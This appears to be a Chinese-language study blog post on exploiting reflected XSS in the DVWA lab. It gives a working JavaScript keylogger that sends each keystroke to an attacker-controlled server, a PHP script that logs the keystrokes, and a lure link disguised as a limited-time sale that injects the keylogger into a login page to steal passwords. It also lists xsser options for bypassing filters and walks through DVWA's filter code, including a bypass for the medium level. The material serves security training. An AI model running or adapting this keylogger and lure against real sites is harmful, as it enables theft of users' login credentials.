小白日记48：kali渗透测试之Web渗透-XSS（二）-漏洞利用-键盘记录器，xsser

XSS

原则上：只要XSS漏洞存在，可以编写任何功能的js脚本

【反射型漏洞利用】

键盘记录器：被记录下的数据会发送到攻击者指定的URL地址上

服务器：kali　　　　客户端

启动apache2服务：service apache2 start

语法：<script src="http://192.168.1.127/keylogger.js"></script>

keylogger.js　　　　

 document.onkeypress = function(evt) {
         evt = evt || window.event
         key = String.fromCharCode(evt.charCode)
         if(key) {
                 var http = new XMLHttpRequest();
                 var param = encodeURI(key)
                 http.open("POST","http://192.168.1.127/keylogger.php",true);
                 http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                 http.send("key="+param);
         }
 }
 ~   

keylogger.php　　【用来接受客户端提交上来的数据】

 <?php
 $key=$_POST['key'];
 $logfile="keylog.txt";
 $fp = fopen($logfile,"a");
 fwrite($fp,$key);
 fclose($fp);
 >

为避免被引起用户怀疑，可将跳转命令置于html文件中

前提：用户已经登录网站，获得其cookie信息

#伪造诱人连接｛如：限时抢购门票、手机等｝，转到存在xss漏洞的页面【主要危害为登录页面】，窃取用户登录账号密码

a.hmlt

 <a href="http://192.168.1.107/dvwa/vulnerabilities/xss_r/?name=<scripr+src='http://192.168.56.102/keylogger.js'></script>">诱人字眼</a>

XSS利用工具

Xsser　　【专门针对XSS漏洞，使用python编写】

可使用图形化界面　　xsser --gtk　　【不建议使用，界面不够友好】

可绕过服务器端输入筛选　　【xss存在极其普遍】

1、编码　　10进制/16进制

2、函数：unecape()

简单使用语法：xsser -u "http://192.168.56.101/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=31677b04bc31eac6cd78dbb1922e8028" -s -v --reverse-check

【GET：将对应页面和参数写进-g参数中；POST：使用-P；-s：统计请求数；-v：显示详细信息；--reverse-check：禁止提交hash值方式验证（此方法存在误判）】

--heuristic　　探测服务器，检查被过滤的字符（会发送大量请求）｛脑洞：sql｝　　【所有过滤机制都是基于字符过滤】

对payload编码，绕过服务器短筛选过滤　　【过多编码可能造成语义误差】

   *Select Bypasser(s)*:
     These options can be used to encode selected vector(s) to try to
     bypass possible anti-XSS filters on target(s) code and possible IPS
     rules, if the target use it. Also, can be combined with other
     techniques to provide encoding:

     --Str               Use method String.FromCharCode()
     --Une               Use Unescape() function
     --Mix               Mix String.FromCharCode() and Unescape()
     --Dec               Use Decimal encoding
     --Hex               Use Hexadecimal encoding
     --Hes               Use Hexadecimal encoding, with semicolons
     --Dwo               Encode vectors IP addresses in DWORD
     --Doo               Encode vectors IP addresses in Octal
     --Cem=CEM           Try -manually- different Character Encoding Mutations
                         (reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')

注入技术

   *Special Technique(s)*:
     These options can be used to try to inject code using different type
     of XSS techniques. You can choose multiple:

     --Coo               COO - Cross Site Scripting Cookie injection
     --Xsa               XSA - Cross Site Agent Scripting
     --Xsr               XSR - Cross Site Referer Scripting
     --Dcp               DCP - Data Control Protocol injections
     --Dom               DOM - Document Object Model injections
     --Ind               IND - HTTP Response Splitting Induced code
     --Anchor            ANC - Use Anchor Stealth payloader (DOM shadows!)
     --Phpids            PHP - Exploit PHPIDS bug (0.6.5) to bypass filters

   *Select Final injection(s)*:
     These options can be used to specify the final code to inject in
     vulnerable target(s). Important, if you want to exploit on-the-wild
     your discovered vulnerabilities. Choose only one option:

     --Fp=FINALPAYLOAD   OWN    - Insert your final code to inject -manually-
     --Fr=FINALREMOTE    REMOTE - Insert your final code to inject -remotelly-
     --Doss              DOSs   - XSS Denial of service (server) injection
     --Dos               DOS    - XSS Denial of service (client) injection
     --B64               B64    - Base64 code encoding in META tag (rfc2397)

   *Special Final injection(s)*:
     These options can be used to execute some 'special' injection(s) in
     vulnerable target(s). You can select multiple and combine with your
     final code (except with DCP code):

     --Onm               ONM - Use onMouseMove() event to inject code
     --Ifr               IFR - Use <iframe> source tag to inject code

源码分析

低安全级别　　【$_GET[]:直接回显输入的数据，不做任何过滤】

  <?php

 if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

  $isempty = true;

 } else {

  echo '<pre>';
  echo 'Hello ' . $_GET['name'];
  echo '</pre>';

 }

 ?> 

中安全级别　　【在输出时替换script为空，可拆分重整script为scriscriptpt】

  <?php

 if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

  $isempty = true;

 } else {

  echo '<pre>';
  echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
  echo '</pre>'; 

 }

 ?> 

高安全级别【htmlspecialchars():进行html编码，目前最有效的方法（并非完全不可绕过【不需要尖括号的情况：如<a href=>】）】｛可用burpsuite进行编码｝

  <?php

 if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

  $isempty = true;

 } else {

  echo '<pre>';
  echo 'Hello ' . htmlspecialchars($_GET['name']);
  echo '</pre>';

 }

 ?>